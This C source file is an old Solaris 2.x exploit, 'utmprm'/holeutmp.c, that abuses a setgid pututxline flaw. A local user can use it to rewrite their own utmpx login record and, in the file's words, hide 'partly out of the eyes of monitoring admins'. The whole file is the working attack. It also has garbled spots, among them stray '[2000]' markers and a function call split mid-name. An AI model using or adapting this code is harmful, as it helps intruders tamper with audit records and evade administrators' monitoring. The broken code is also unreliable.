/*
 * utmprm (version 1.0)
 * renamed to holeutmp.c (version 1.0)
 *
 * Copyright, 1994, 1995 by Scott Chasin (chasin@crimelab.com)
 * Modified by Hendrik Visage (hendrik@jupiter.cs.up.ac.za)
 * to exploit a pututxline SETGID problem
 *
 * This material is copyrighted by Scott Chasin, 1994, 1995. The
 * usual standard disclaimer applies, especially the fact that the
 * author is not liable for any damages caused by direct or indirect
 * use of the information or functionality provided by this program.
 */

/* utmprm takes advantage of a Solaris 2.x utmpx system call that
 * allows any user to remove themselves from the corresponding
 * utmp files and partly out of the eyes of monitoring admins.
 */

#include <stdio.h>
#include <pwd.h>

#include <utmpx.h>

char *strchr(), *strdup(), *ttyname(), *getlogin();

main (argc, argv)
int argc;
char **argv;
{
  uid_t ruid, getuid();
  char *ttyn, *tty, *username;
  struct passwd *pwd;

  /* Grab our ttyname */

  ttyn = ttyname(0);

  if (ttyn == NULL || *ttyn == '\0')
    {
      fprintf (stderr, "utmprm: where are you?\n");
      exit (1);
    }

  if (tty = strchr (ttyn + 1, '/'))
    ++tty;
  else
    tty = ttyn;

  /* Grab our login name */
  ruid = getuid ();
  username = getlogin ();

  if (username == NULL || (pwd = getpwnam (username)) == NULL ||
      pwd->pw_uid != ruid)
    pwd = getpwuid (ruid);

  if (pwd == NULL)
    {
      fprintf (stderr, "utmprm: who are you?\n");
      exit (1);
    }

  username = strdup (pwd->pw_name);

  utmpx_delete (username, tty);
}

utmpx_delete (user, line)
char *user;
char *line;
{
  struct utmpx utx;
  struct utmpx *ut;

  /* Let's build a utmpx structure that looks like
   * our entries profile.
   */

  strncpy (utx.ut_line, line, sizeof (utx.ut_line));
  strncpy (utx.ut_user, user, sizeof (utx.ut_user));

  /* We use getutxline to search /var/adm/utmpx for our
   * entry.
   */

  if ((ut = getutxline (&utx)) == 0)
    printf ("utmprm: entry not found for %s (%s)\n", user, line);
  else
    {
      /* Since we doesn't want to remove the entry,
         all the DEAD_PROCESS related stuff
         isn't needed
      ut->ut_type = DEAD_PROCESS;
      ut->ut_exit.e_termination = 0;
      ut->ut_exit.e_exit = 0;
[2000]*/

      gettimeofday (&(ut->ut_tv), 0);
      ut->ut_type = USER_PROCESS;
      strcpy(&(ut->ut_host),"Probleme.SA");
      ut->ut_syslen=strlen(ut->ut_host);

      strcpy(&(ut->ut_line),"|");

      /* Using pututxline as a normal user, we take advantage
       * of the fact that it calls a setuid system call to
       * modify the utmpx entry we just build.  The only check
       * that pututxline has is that the login name in the utmpx
       * entry must match that of the caller's and that the
       * utmpx device entry is a real device writable by the
       * caller.
 [2000]*/

      pututxline (ut);
      printf ("utmprm: %s (%s) modified with exit code %d.\n", user, line,put
              utxline (ut));
    }
  endutxent ();
}
